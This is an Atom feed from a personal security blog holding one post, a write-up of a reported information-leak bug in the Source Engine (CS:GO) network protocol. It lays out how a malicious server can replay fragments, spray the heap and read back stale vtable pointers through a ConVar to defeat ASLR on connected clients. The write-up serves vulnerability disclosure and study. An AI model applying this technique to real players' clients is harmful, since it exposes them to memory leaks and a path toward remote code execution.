<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://mrnbayoh.github.io/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mrnbayoh.github.io/blog/" rel="alternate" type="text/html" /><updated>2025-12-17T21:49:58+00:00</updated><id>https://mrnbayoh.github.io/blog/feed.xml</id><title type="html">nba::yoh’s blog</title><subtitle>Write an awesome description for your new site here. You can edit this line in _config.yml. It will appear in your document head meta (for Google search results) and in your feed.xml site description.</subtitle><entry><title type="html">Offensive on the Source Engine Network Protocol - Part 1: InfoLeak</title><link href="https://mrnbayoh.github.io/blog/source-engine/2025/06/30/offensive-on-the-source-engine-network-protocol-part-1.html" rel="alternate" type="text/html" title="Offensive on the Source Engine Network Protocol - Part 1: InfoLeak" /><published>2025-06-30T00:00:00+00:00</published><updated>2025-06-30T00:00:00+00:00</updated><id>https://mrnbayoh.github.io/blog/source-engine/2025/06/30/offensive-on-the-source-engine-network-protocol-part-1</id><content type="html" xml:base="https://mrnbayoh.github.io/blog/source-engine/2025/06/30/offensive-on-the-source-engine-network-protocol-part-1.html"><![CDATA[<p>This post starts a series of a few dedicated to my work on exploiting the Source Engine 1 – back in 2022-2023.
At the time, CS2 was not out yet, hence, the primary target was still CS:GO. 
In the course of these posts, I’ll talk about the few bugs that I found and how I exploited them to 
get remote code execution – particularly targeting CS:GO.
Especially, I’ll be focusing on the network protocol of the engine, and dwelve into its internals.</p>

<p>What makes the Source Engine a great candidate to being exploited is the ability for the community to host their own servers. Anyone can host a custom server, and allow any player to join it. This induces a quite large attack surface since an attacker can potentially mess up with the communication protocol between the server and the clients. Targeting the network protocol is quite interesting as it is interactive, which is needed if we want to break ASLR.</p>

<p>In this post, I’ll rapidly go over the network protocol, and talk about an information leak bug I found.</p>

<h2 id="source-engine-network-protocol-in-a-nutshell">Source Engine Network Protocol in a nutshell</h2>

<p>The Source Engine used its own UDP-based transport layer protocol to communicate between clients and servers. 
Underneath the transport layer, the application layer utilizes – in the case of CS:GO – protobuf-based messages 
that defines what the client and server may send and receive.</p>

<p>In this series of posts, we’ll focus on the transport layer protocol. 
The transport layer protocol, based on UDP, allows for sending both unrealiable and reliable messages. Using the same unique 
socket, they choose whether messages should be reliably sent – i.e. acknoledged by the remote peer – or not.</p>

<p>When it comes to sending a batch of reliable messages, the engine operates that way:</p>
<ol>
  <li>it serializes each reliable message to send</li>
  <li>it concatenates all serialized messages in a single long buffer (up to a certain byte size)</li>
  <li><em>optional:</em> it compresses the whole buffer</li>
  <li>it splits the buffer into fragments (of <code class="language-plaintext highlighter-rouge">0x100</code> bytes each for CS:GO)</li>
  <li>it finally sends the fragments to its peer</li>
</ol>

<p>Fragments may arrive out of order. For each successfully received fragment, the peer sends back an acknoledgement.
Finally, once all fragments have been received, the peer decompresses the whole buffer (if compressed), and sequentially 
deserializes and processes each message.</p>

<p>You can think of this reliable messaging protocol as an alternative to TCP. While the underlying implementation and specification 
are completely different, the goal is similar: ensuring data is reliably delivered to the peer.</p>

<figure id="example_sequence">
<p><img src="/blog/assets/images/source_engine_infoleak/example_communication.svg" alt="" width="90%" /></p>
  <figcaption><em>Figure 1:</em> Example sequence diagram of a simple communication with 3 fragments.</figcaption>
</figure>

<h2 id="the-bug">The Bug</h2>

<p>The first bug I found in the protocol lies in how the game checks 
whether all data fragments for a reliable communication have been received.
When receiving reliable messages, the game stores the metadata in a 
structure that we’ll call <code class="language-plaintext highlighter-rouge">data_fragments</code>. 
Among other things, it records the expected total number of fragments to receive – in <code class="language-plaintext highlighter-rouge">data-&gt;total_fragments</code>.</p>

<p>Let’s take a look at the function responsible for parsing incoming fragments:</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">CNetChan</span><span class="o">::</span><span class="n">ReadSubChannelData</span><span class="p">(</span><span class="n">bf_read</span> <span class="o">&amp;</span><span class="n">received</span><span class="p">,</span> <span class="kt">int</span> <span class="n">stream_idx</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">data_fragments</span><span class="o">*</span> <span class="n">data</span> <span class="o">=</span> <span class="o">&amp;</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">stream_data</span><span class="p">[</span><span class="n">stream_idx</span><span class="p">];</span> 

    <span class="kt">bool</span> <span class="n">is_single_block</span> <span class="o">=</span> <span class="n">received</span><span class="p">.</span><span class="n">ReadOneBit</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// is that a single block?</span>
    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">is_single_block</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">start_fragment</span> <span class="o">=</span> <span class="n">received</span><span class="p">.</span><span class="n">ReadUBitLong</span><span class="p">(...);</span>
        <span class="n">fragments_num</span> <span class="o">=</span> <span class="n">received</span><span class="p">.</span><span class="n">ReadUBitLong</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span> <span class="c1">// number of fragments stored on 3 bits</span>
        <span class="n">offset</span> <span class="o">=</span> <span class="n">startFragment</span> <span class="o">*</span> <span class="n">FRAGMENT_SIZE</span><span class="p">;</span>
        <span class="n">len</span> <span class="o">=</span> <span class="n">numFragments</span> <span class="o">*</span> <span class="n">FRAGMENT_SIZE</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="n">offset</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">// if first fragment then read metadata</span>
    <span class="p">{</span>
        <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span>
        <span class="n">data</span><span class="o">-&gt;</span><span class="n">byte_count</span> <span class="o">=</span> <span class="n">received</span><span class="p">.</span><span class="n">ReadUBitLong</span><span class="p">(...);</span>
        <span class="n">data</span><span class="o">-&gt;</span><span class="n">buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">byte_count</span><span class="p">);</span>
        <span class="n">data</span><span class="o">-&gt;</span><span class="n">total_fragments</span> <span class="o">=</span> <span class="n">bytesize_to_fragments</span><span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">byte_count</span><span class="p">);</span>
        <span class="n">data</span><span class="o">-&gt;</span><span class="n">acked_fragments</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span>
    <span class="p">}</span>

    <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span> <span class="c1">// some checks</span>

    <span class="n">received</span><span class="p">.</span><span class="n">ReadBytes</span><span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">buffer</span><span class="o">+</span><span class="n">offset</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> <span class="c1">// read block data</span>
    <span class="n">data</span><span class="o">-&gt;</span><span class="n">acked_fragments</span> <span class="o">+=</span> <span class="n">fragments_num</span><span class="p">;</span> <span class="c1">// increment the count of acked fragments</span>

    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As we can see, when receiving the first fragment, the game reads some metadata such as 
the byte size of the message. Then, it computes the expected total number of fragments to receive, 
and initializes the counter <code class="language-plaintext highlighter-rouge">data-&gt;acked_fragments</code> to track how many fragments have been received.
Each time new fragments arrive, <code class="language-plaintext highlighter-rouge">data-&gt;acked_fragments</code> is incremented.</p>

<p>Later, the game checks whether it has received all fragments and whether it should proceed to process the received messages. This is done in:</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">CNetChan</span><span class="o">::</span><span class="n">CheckReceivingList</span><span class="p">(</span><span class="kt">int</span> <span class="n">stream_idx</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">data_fragments</span><span class="o">*</span> <span class="n">data</span> <span class="o">=</span> <span class="o">&amp;</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">stream_data</span><span class="p">[</span><span class="n">stream_idx</span><span class="p">];</span>

    <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">acked_fragments</span> <span class="o">&lt;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">total_fragments</span><span class="p">)</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">acked_fragments</span> <span class="o">&gt;</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">total_fragments</span><span class="p">)</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>

    <span class="c1">// we got all fragments... right?</span>
    <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span>

    <span class="n">ProcessMessages</span><span class="p">(</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">buffer</span><span class="p">)</span>
    <span class="o">&lt;</span><span class="p">...</span><span class="o">&gt;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At first sight, this seems okay-ish: it checks if the number of received fragments matches the 
expected total. But if we look back at the fragment-receiving routine… nothing prevents 
receiving the same fragment twice!</p>

<blockquote>
  <p><em>“How’s that a problem?”</em>, you might think.</p>
</blockquote>

<p>Well, let’s consider a situation with 3 fragments. Suppose we send:</p>
<ul>
  <li>the first fragment (fragment 0),</li>
  <li>the third fragment (fragment 2) <strong>twice</strong>.</li>
</ul>

<p>The game will have received three fragments total – matching the expected number – and will proceed to process the messages.</p>
<figure id="example_bugged_sequence">
<p><img src="/blog/assets/images/source_engine_infoleak/replay_fragment.svg" alt="" width="90%" /></p>
  <figcaption><em>Figure 2:</em> Proof-of-concept sequence diagram of the bug.</figcaption>
</figure>

<p>However, <strong>fragment 1 was never received</strong>, and the buffer chunk meant for it remains <strong>uninitialized</strong>!
Eventually, when <code class="language-plaintext highlighter-rouge">ProcessMessages</code> is called in <code class="language-plaintext highlighter-rouge">CNetChan::CheckReceivingList</code>, it will try to process the whole buffer 
including the uninitialized chunk meant for the second fragment (fragment 1)!</p>
<figure id="recv_buffer_bugged">
<!-- **Content processed by the peer after a legitimate communication:**
![](/blog/assets/images/source_engine_infoleak/host_send_buffer.svg){: width="80%" }
**Content processed by the peer when sending fragment 2 twice:**-->
<p><img src="/blog/assets/images/source_engine_infoleak/uninit_fragment1.svg" alt="" width="80%" /></p>
  <figcaption><em>Figure 3:</em> Content processed by the peer when fragment 2 is sent twice.</figcaption>
</figure>
<hr />

<h2 id="breaking-aslr">Breaking ASLR</h2>

<p>This kind of bug is unlikely to lead to memory corruption. However, since it allows you to trick the game into processing uninitialized memory as if it were legitimate data from the host, it can likely be exploited to leak information.</p>

<p>That said, exploiting this vulnerability requires precise control over what you send to the peer and when.
Rather than building a proxy to intercept and modify live game traffic, I chose to reverse-engineer and fully reimplement 
the protocol from scratch. So, in the end, I built a custom server in Python that lets me send whatever I want, whenever I want… 
which is way more comfortable and flexible than any other hacky solution.</p>

<p>For the rest of this post, we’ll consider that we are a malicous server, with the goal of leaking information from the connected 
clients.</p>

<h3 id="global-strategy">Global strategy</h3>

<p>So, how do we turn this into an information leak? 
To achieve this, we need to find:</p>
<ul>
  <li>a game message whose content is stored by the client,</li>
  <li>a way query that content back.</li>
</ul>

<p>The global idea is use a game message that causes the client to store uninitialized data, as if it were legitimately sent by the  server.
Then, by querying this content back, the client would unknowingly send the uninitialized data – effectively leaking data to the 
server.</p>

<p>Unfortunately, the Source Engine server is authoritative. Most communication flows from the server to the client, not the other way around. The server generally hasn’t much to query from the client. After all, why would the server send data to 
the client, only to query it back later?</p>

<p>Yet, luckily, there is one feature in the Source Engine that fits our needs: <strong>ConVar</strong>.</p>

<h3 id="leveraging-convar-to-leak-data">Leveraging ConVar to leak data</h3>
<p>ConVars are configuration variables used by the Source Engine to control various behaviors, both on client and server side. Each ConVar has a name, an associated value – typically a string, float, or integer – and optional metadata such as flags – e.g. read-only, cheat-protected – and callbacks.
What makes ConVars interesting in our situation is that:</p>
<ul>
  <li>servers can query or set ConVar values on connected clients via game messages,</li>
  <li>clients may respond with ConVar data, which can become a side-channel for leaking information if those values are influenced by uninitialized data.</li>
</ul>

<p>Basically, if the server tricks the client into storing uninitialized memory into a ConVar, and then queries that value back, it may leak sensitive data back to the attacker!</p>

<p>Here are the relevant protobuf game messages related to ConVars manipulation.
To <strong>set ConVar values on connected clients</strong>, the server sends a <code class="language-plaintext highlighter-rouge">CNETMsg_SetConVar</code> message, which wraps a list of name-value pairs:</p>
<div class="language-protobuf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">message</span> <span class="nc">CMsg_CVars</span> <span class="p">{</span>
    <span class="kd">message</span> <span class="nc">CVar</span> <span class="p">{</span>
        <span class="k">optional</span> <span class="kt">string</span> <span class="na">name</span>  <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="k">optional</span> <span class="kt">string</span> <span class="na">value</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">repeated</span> <span class="o">.</span><span class="n">CMsg_CVars.CVar</span> <span class="na">cvars</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">message</span> <span class="nc">CNETMsg_SetConVar</span> <span class="p">{</span>
    <span class="k">optional</span> <span class="o">.</span><span class="n">CMsg_CVars</span> <span class="na">convars</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To query ConVar values from clients, the server sends a <code class="language-plaintext highlighter-rouge">CSVCMsg_GetCvarValue</code> request. The client then responds with a <code class="language-plaintext highlighter-rouge">CCLCMsg_RespondCvarValue</code> message containing the value:</p>
<div class="language-protobuf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">message</span> <span class="nc">CSVCMsg_GetCvarValue</span> <span class="p">{</span>
    <span class="k">optional</span> <span class="kt">int32</span> <span class="na">cookie</span>     <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">optional</span> <span class="kt">string</span> <span class="na">cvar_name</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>


<span class="kd">message</span> <span class="nc">CCLCMsg_RespondCvarValue</span> <span class="p">{</span>
    <span class="k">optional</span> <span class="kt">int32</span> <span class="na">cookie</span>      <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">optional</span> <span class="kt">int32</span> <span class="na">status_code</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
    <span class="k">optional</span> <span class="kt">string</span> <span class="na">name</span>       <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
    <span class="k">optional</span> <span class="kt">string</span> <span class="na">value</span>      <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">cookie</code> field acts as an identifier to match the response with the query, and the <code class="language-plaintext highlighter-rouge">status_code</code> indicates whether the query succeeded. If a ConVar exists on the client and isn’t protected (e.g. by a flag like <code class="language-plaintext highlighter-rouge">FCVAR_PROTECTED</code>), the client will send back its current value.</p>

<p>To exploit this, we need to craft data fragments such that a <code class="language-plaintext highlighter-rouge">CNETMsg_SetConVar</code> spans across two fragments. The goal is for part of the message to fall in the uninitialized fragment chunk – specifically, the <code class="language-plaintext highlighter-rouge">value</code> field. This way, the client will parse and store the <code class="language-plaintext highlighter-rouge">value</code> field using uninitialized data, effectively injecting it into an existing ConVar that we can query afterwards.</p>

<blockquote>
  <p>“Okay but how do we actually pull that off?”</p>
</blockquote>

<p>To achieve this, we need to dwelve a bit into the protobuf (de)serialization format.</p>

<h3 id="protobuf-serialization-format">Protobuf serialization format</h3>

<p>Protobuf serializes data as key-value pairs – see the <a href="https://protobuf.dev/programming-guides/encoding/">documentation</a> for more information – where each field is encoded with:</p>
<ul>
  <li>a <strong>key</strong> (varint: <code class="language-plaintext highlighter-rouge">(field_number &lt;&lt; 3) | wire_type</code>)</li>
  <li>followed by a <strong>value</strong>, whose format depends on the wire type (e.g. string, varints, fixed64)</li>
</ul>

<p>Each string is encoded as:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[field key] [length varint] [raw bytes/string content]
</code></pre></div></div>

<p>One critical detail is that <strong>field order in the serialized message is not enforced</strong>. Since every field has a unique identifier, protobuf parsers don’t rely on a fixed order. This means that a message like <code class="language-plaintext highlighter-rouge">CVar</code>:</p>

<div class="language-protobuf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">message</span> <span class="nc">CVar</span> <span class="p">{</span>
  <span class="k">optional</span> <span class="kt">string</span> <span class="na">name</span>  <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">optional</span> <span class="kt">string</span> <span class="na">value</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>can legally be serialized with <code class="language-plaintext highlighter-rouge">value</code> placed <strong>after</strong> <code class="language-plaintext highlighter-rouge">name</code>, or the other way around!</p>

<p>This flexibility comes very handy for our exploitation. By putting the <code class="language-plaintext highlighter-rouge">value</code> field <strong>at the end of the message</strong>, we can arrange the fragments layout such that <code class="language-plaintext highlighter-rouge">value</code> falls across fragment boundary. Specifically, such that its string value – just after the length varint – ends up being read from the <strong>uninitialized fragment</strong>.</p>

<p>Say we want to serialize:</p>
<div class="language-protobuf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">name</span><span class="o">:</span> <span class="s">"leak_me"</span>
<span class="n">value</span><span class="o">:</span> <span class="s">"aaaaaaaa"</span>
</code></pre></div></div>

<p>We craft the fields so <code class="language-plaintext highlighter-rouge">value</code> is last:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0A 07 6C 65 61 6B 5F 6D 65      // name  = "leak_me"
12 08 41 41 41 41 41 41 41 41   // value = "aaaaaaaa"
</code></pre></div></div>

<p>Now, if we make sure that a fragment ends right after <code class="language-plaintext highlighter-rouge">08</code> (string length of <code class="language-plaintext highlighter-rouge">value</code>), and that the subsequent fragment is left uninitialized, then, the content of <code class="language-plaintext highlighter-rouge">value</code> will be read from uninitialized memory:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0A 07 6C 65 61 6B 5F 6D 65      // name  = "leak_me"
12 08 ?? ?? ?? ...              // value = ??? (uninitialized)
     🡑
  (fragment ends here)
</code></pre></div></div>
<p>and will eventually be stored into the client’s <code class="language-plaintext highlighter-rouge">leak_me</code> ConVar.</p>

<p>In the end, we can simply send a <code class="language-plaintext highlighter-rouge">CSVCMsg_GetCvarValue</code> message to query that ConVar, and the client will respond with a <code class="language-plaintext highlighter-rouge">CCLCMsg_RespondCvarValue</code> containing the parsed value – effectively leaking the first few bytes of the uninitialized fragment.</p>

<h3 id="what-to-leak">What to leak?</h3>

<p>So, we’ve shown that it’s possible to leak uninitialized memory from the client. But now comes this question: <strong>what to leak</strong>? or <strong>what can we leak</strong>?</p>

<p>Leaking random heap junk isn’t likely to be useful. Ideally, we want to leak a <strong>pointer</strong> – something that lets us compute the base address of an executable section (e.g. a shared library or the main executable itself).</p>

<p>To do this, we need to massage the heap such that a freed buffer – previously holding pointers – is reallocated when receiving our  <code class="language-plaintext highlighter-rouge">CNETMsg_SetConVar</code> message. So, here’s the plan:</p>
<ol>
  <li><strong>trigger an allocation client-side</strong>,</li>
  <li><strong>ensure that the allocated buffer contains pointers</strong> – especially around potential fragment frontiers,</li>
  <li><strong>free that buffer</strong>,</li>
  <li><strong>re-allocate it to receive our incoming fragments</strong>,</li>
  <li><strong>leak the stale pointers via ConVars</strong>.</li>
</ol>

<p>After reading write-ups on past Source Engine exploits – especially <a href="https://secret.club/2021/05/13/source-engine-rce-join.html">this SecretClub blogpost</a>, I knew exactly which game mechanics would fit my need: <strong>prop tables</strong>.
In the Source Engine, prop tables – short for property tables – define the structure of networked entity data. 
Each entry maps a named property to its type, highest value, lowest value etc. These tables are generated from server-side entity classes and sent to clients, allowing them to parse incoming entity updates correctly.</p>

<p>Prop tables are sent via the <code class="language-plaintext highlighter-rouge">CSVCMsg_SendTable</code> message:</p>
<div class="language-protobuf highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kd">message</span> <span class="nc">CSVCMsg_SendTable</span>
<span class="p">{</span>
	<span class="kd">message</span> <span class="nc">sendprop_t</span>
	<span class="p">{</span>
		<span class="k">optional</span> <span class="kt">int32</span> <span class="na">type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>				
		<span class="k">optional</span> <span class="kt">string</span> <span class="na">var_name</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
		<span class="k">optional</span> <span class="kt">int32</span> <span class="na">flags</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
		<span class="k">optional</span> <span class="kt">int32</span> <span class="na">priority</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
		<span class="k">optional</span> <span class="kt">string</span> <span class="na">dt_name</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>			
		<span class="k">optional</span> <span class="kt">int32</span> <span class="na">num_elements</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>		
		<span class="k">optional</span> <span class="kt">float</span> <span class="na">low_value</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>			
		<span class="k">optional</span> <span class="kt">float</span> <span class="na">high_value</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>			
		<span class="k">optional</span> <span class="kt">int32</span> <span class="na">num_bits</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>			
	<span class="p">};</span>

	<span class="k">optional</span> <span class="kt">bool</span> <span class="na">is_end</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="k">optional</span> <span class="kt">string</span> <span class="na">net_table_name</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
	<span class="k">optional</span> <span class="kt">bool</span> <span class="na">needs_decoder</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
	<span class="k">repeated</span> <span class="n">sendprop_t</span> <span class="na">props</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We see that each table contains a list of <code class="language-plaintext highlighter-rouge">sendprop_t</code> sub-messages. When the client receives a <code class="language-plaintext highlighter-rouge">CSVCMsg_SendTable</code>, 
it internally allocates an array of <code class="language-plaintext highlighter-rouge">SendProp</code> C++ objects, and populates it based on the message content. 
This array is allocated via the <code class="language-plaintext highlighter-rouge">new[]</code> C++ operator which means that all objects are stored contiguously in memory.
Internally, the <code class="language-plaintext highlighter-rouge">new[]</code> operator also stores the number of <code class="language-plaintext highlighter-rouge">SendProp</code> at the start of the buffer – just before the first object – to keep track of how many destructors to call during deletion. 
Since we control the number of <code class="language-plaintext highlighter-rouge">sendprop_t</code> entries in the message, we also control the size of the allocated array – 
which becomes very useful when we want that buffer to later be re-allocated for our crafted fragments.</p>

<p>What makes <code class="language-plaintext highlighter-rouge">SendProp</code> particularly interesting is that it is a derived C++ class with virtual methods, meaning that each object has a vtable pointer!
So, by allocating a <code class="language-plaintext highlighter-rouge">SendProp</code> array, we end up with a buffer of memory filled with pointers at known offsets, one per object:</p>

<figure id="send_prop_array_alloc">
<p><img src="/blog/assets/images/source_engine_infoleak/send_prop_array.svg" alt="" width="90%" /></p>
  <figcaption><em>Figure 4:</em> Memory layout of a <code class="language-plaintext highlighter-rouge">SendProp</code> array.</figcaption>
</figure>

<p>Vtables are are great leak targets because they point directly into fixed offsets within known memory sections.
If we manage to leak one of them, we can compute the base address of the module, thus defeating ASLR – yay!</p>

<blockquote>
  <p>“Okay, but you mentioned freeing the buffer, can we actually cause that?”</p>
</blockquote>

<p>No need! In fact, the engine already does it by itself! When a <code class="language-plaintext highlighter-rouge">CSVCMsg_SendTable</code> is received, the engine allocates the 
<code class="language-plaintext highlighter-rouge">SendProp</code> array, fills it in, and then copy its content into another structure. Afterwards, the original array is freed 
immediately – exactly what we want for our re-allocation strategy!</p>

<h3 id="aligning-sendprop-and-fragments">Aligning <code class="language-plaintext highlighter-rouge">SendProp</code> and fragments</h3>

<p>So, we’ve figured out how to leak uninitialized memory from the client, and we’ve identified a leak target – i.e. vtable pointers inside <code class="language-plaintext highlighter-rouge">SendProp</code> arrays. Now it’s time to put the pieces together and build a full leak primitive. The goal is simple: trick the client into placing a stale <code class="language-plaintext highlighter-rouge">SendProp</code> pointer at a fragment frontier, to leak it into a ConVar, then have it send that back to us.</p>

<p>First, we need to figure out how many <code class="language-plaintext highlighter-rouge">SendProp</code> objects are required so that one of them ends up aligned with the start of a 
fragment – if such alignment is possible at all. The goal is to line up a <code class="language-plaintext highlighter-rouge">SendProp</code> in memory such that it’s <strong>vtable pointer</strong> overlaps the portion of memory that gets interpreted as the ConVar <code class="language-plaintext highlighter-rouge">value</code> field. Here is the memory layout that we are aiming for:</p>
<figure id="leak_goal_layout">
<p><img src="/blog/assets/images/source_engine_infoleak/leak_goal_layout.svg" alt="" width="90%" /></p>
  <figcaption><em>Figure 5:</em> Expected memory layout for a successful <code class="language-plaintext highlighter-rouge">SendProp</code> vtable leak.</figcaption>
</figure>

<p>In our case, fragments are <code class="language-plaintext highlighter-rouge">0x100</code> bytes long, whereas each <code class="language-plaintext highlighter-rouge">SendProp</code> object is <code class="language-plaintext highlighter-rouge">0x88</code> bytes long  – at least in CS:GO at the time.
We also need to take into account that the first <code class="language-plaintext highlighter-rouge">SendProp</code> object starts at offset <code class="language-plaintext highlighter-rouge">0x8</code> – it is prepended with the total number of <code class="language-plaintext highlighter-rouge">SendProp</code>.
This mismatch means we’ll need to do some math – hehe. You can actually reduce the problem to a diophantine equation…</p>
<center><div>$ 256*x = 8 + 136*y \Longleftrightarrow 32*x - 17*y = 1$</div></center>
<p>…where <span>$x$</span> is the number of fragments before alignment, and <span>$y$</span> is the number of <code class="language-plaintext highlighter-rouge">SendProp</code> before alignment.</p>

<p>In the end, you’ll find that <span>$x = 8$</span> and <span>$y = 15$</span> is a solution to the equation. Meaning that the 9th fragment, and 16th <code class="language-plaintext highlighter-rouge">SendProp</code> object will be aligned!</p>

<h3 id="putting-it-all-together">Putting it all together</h3>

<p>At last, we have all the pieces required for a successful information leak.
Here’s how we tie it all together:</p>
<ol>
  <li><strong>heap spraying:</strong> send a bunch of <code class="language-plaintext highlighter-rouge">CSVCMsg_SendTable</code> messages to fill the heap and increase the probability to re-allocate a <code class="language-plaintext highlighter-rouge">SendProp</code> array,</li>
  <li><strong>craft our fragments</strong> such that the <code class="language-plaintext highlighter-rouge">CNETMsg_SetConVar</code> message straddles the 9th fragment frontier – with the <code class="language-plaintext highlighter-rouge">value</code> field at the beginning of that fragment,</li>
  <li><strong>trigger the bug:</strong> send the fragments to the client – except the 9th one – and resend a previous fragment – causing the 9th to remain uninitialized,</li>
  <li><strong>hope</strong> that the buffer allocated for the fragments contains stale <code class="language-plaintext highlighter-rouge">SendProp</code> objects,</li>
  <li><strong>extract the leaked value:</strong> query the ConVar with a <code class="language-plaintext highlighter-rouge">CSVCMsg_GetCvarValue</code> request,</li>
  <li><strong>compute the base address and profit!</strong></li>
</ol>

<p>For reference, the vtable for <code class="language-plaintext highlighter-rouge">SendProp</code> resides in <code class="language-plaintext highlighter-rouge">engine_client.so</code>. So by leaking the vtable pointer, we can compute the base address of <code class="language-plaintext highlighter-rouge">engine_client.so</code>.
In the end, this came up as super reliable, all it took was to find the best allocation size to maximize the probability of success.
From here, it’s just a matter of using that leaked pointer to bypass ASLR and chain into something more powerful…</p>

<h2 id="conclusion">Conclusion</h2>

<p>This bug wasn’t about crashing the client or hijacking control flow (yet) – it was about understanding how the engine behaves under edge conditions, when we break its assumptions. By exploiting the way the Source Engine handles reliable message fragments, we built a clean and reliable information leak. This bug was pretty interesting to exploit, as it required a bit of engineering and a deep dive into the engine internals and protobuf serialization mechanisms. In the end, we get a vtable pointer from <code class="language-plaintext highlighter-rouge">engine_client.so</code>, giving us an great ASLR bypass – and a starting point for more.</p>

<p>In the upcoming posts of this series, I’ll dive into memory corruption bugs and dirty heap manipulations that ultimately lead to remote code execution client-side. Stay tuned for the deep technical details and exploits – it’ll be fun!</p>

<hr />
<h1 id="responsible-disclosure">Responsible Disclosure</h1>

<p>I reported this vulnerability to Valve in November 2022 via Hackerone. 
Unfortunately, Valve has a reputation for slow or limited responsiveness to security reports, and to the best of my knowledge, this particular bug was never patched in CS:GO or any other affected Source 1 game.
With the planned release of CS2 a few months after the report, it seems Valve deprioritized fixing issues in their legacy engine – that was nonetheless still in use at the time by CS:GO players. Recently, some Source 1 titles like Team Fortress 2 have been updated to support Valve’s newer network protocol stack – <a href="https://github.com/ValveSoftware/GameNetworkingSockets">GameNetworkingSockets</a> – used in newer title like CS2.</p>]]></content><author><name></name></author><category term="source-engine" /><category term="csgo" /><category term="infoleak" /><category term="exploit" /><category term="network" /><category term="protocol" /><category term="game" /><category term="source-engine" /><summary type="html"><![CDATA[This post starts a series of a few dedicated to my work on exploiting the Source Engine 1 – back in 2022-2023. At the time, CS2 was not out yet, hence, the primary target was still CS:GO. In the course of these posts, I’ll talk about the few bugs that I found and how I exploited them to get remote code execution – particularly targeting CS:GO. Especially, I’ll be focusing on the network protocol of the engine, and dwelve into its internals.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mrnbayoh.github.io/blog/assets/images/banners/banner.jpg" 